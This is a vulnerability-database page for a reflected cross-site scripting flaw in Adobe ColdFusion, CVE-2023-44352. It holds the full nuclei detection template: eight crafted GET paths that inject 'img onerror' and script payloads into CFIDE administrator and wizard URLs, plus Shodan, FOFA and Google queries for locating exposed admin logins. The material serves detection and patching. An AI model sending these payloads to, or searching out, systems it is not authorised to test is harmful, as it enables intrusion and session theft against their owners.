HexBrain

Browse / CVEs / CVE-2023-44352

CVE-2023-44352· adobe / coldfusion· CWE-79

Adobe Coldfusion - Cross-Site Scripting

mediumseverity
6.1CVSS score
84.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Adobe ColdFusion versions 2023.5 (and earlier) and 2021.11 (and earlier) are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If an unauthenticated attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser

Impact

Unauthenticated attackers can inject malicious JavaScript through crafted URLs to execute code in victim browsers, potentially stealing ColdFusion administrator session cookies and gaining access to sensitive application configurations.

Fix

Update Adobe ColdFusion to version 2023.6 or 2021.12 or later that properly escapes URLs in the CFIDE administrator and wizards interfaces.

How to confirm it

Send: GET {{BaseURL}}/{{string}}"><img src=a onerror=alert(document.domain)>/..CFIDE/wizards/common/_authenticatewizarduser.cfm ; GET {{BaseURL}}//{{string}}"><img src=a onerror=alert(document.domain)>/..CFIDE/wizards/common/_authenticatewizarduser.cfm ; GET {{BaseURL}}/{{string}}"><img src=a onerror=alert(document.domain)>/..CFIDE/administrator/index.cfm ; GET {{BaseURL}}//{{string}}"><img src=a onerror=alert(document.domain)>/..CFIDE/administrator/index.cfm ; GET {{BaseURL}}/{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/administrator/index.cfm
Positive when: contains "action=\"/{{string}}\"><img src=a onerror=alert(document.doma…" or "\"{{string}}\"><script>alert(document.domain)</script>" AND contains(body, 'ColdFusion') and contains(header, 'text/html')

Run it with nuclei: nuclei -id CVE-2023-44352 -u <target>

The full check
id: CVE-2023-44352

info:
  name: Adobe Coldfusion - Cross-Site Scripting
  author: pwnwithlove
  severity: medium
  description: |
    Adobe ColdFusion versions 2023.5 (and earlier) and 2021.11 (and earlier) are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If an unauthenticated attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through crafted URLs to execute code in victim browsers, potentially stealing ColdFusion administrator session cookies and gaining access to sensitive application configurations.
  remediation: |
    Update Adobe ColdFusion to version 2023.6 or 2021.12 or later that properly escapes URLs in the CFIDE administrator and wizards interfaces.
  reference:
    - https://helpx.adobe.com/security/products/coldfusion/apsb23-52.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44352
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44352
    cwe-id: CWE-79
    epss-score: 0.84811
    epss-percentile: 0.99711
    cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 8
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe Coldfusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - title="coldfusion administrator login"
      - app="adobe-coldfusion"
    google-query: intitle:"coldfusion administrator login"
  tags: cve,cve2023,coldfusion,adobe,xss,vuln,vkev
variables:
  string: "{{rand_base(8)}}"

http:
  - method: GET
    path:
      - '{{BaseURL}}/{{string}}"><img src=a onerror=alert(document.domain)>/..CFIDE/wizards/common/_authenticatewizarduser.cfm'
      - '{{BaseURL}}//{{string}}"><img src=a onerror=alert(document.domain)>/..CFIDE/wizards/common/_authenticatewizarduser.cfm'
      - '{{BaseURL}}/{{string}}"><img src=a onerror=alert(document.domain)>/..CFIDE/administrator/index.cfm'
      - '{{BaseURL}}//{{string}}"><img src=a onerror=alert(document.domain)>/..CFIDE/administrator/index.cfm'
      - '{{BaseURL}}/{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/administrator/index.cfm'
      - '{{BaseURL}}//{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/administrator/index.cfm'
      - '{{BaseURL}}/{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm'
      - '{{BaseURL}}//{{string}}%22>%3Cscript%3Ealert(document.domain)%3C/script%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'action="/{{string}}"><img src=a onerror=alert(document.domain)>'
          - '"{{string}}"><script>alert(document.domain)</script>'
        condition: or

      - type: dsl
        dsl:
          - "contains(body, 'ColdFusion')"
          - "contains(header, 'text/html')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from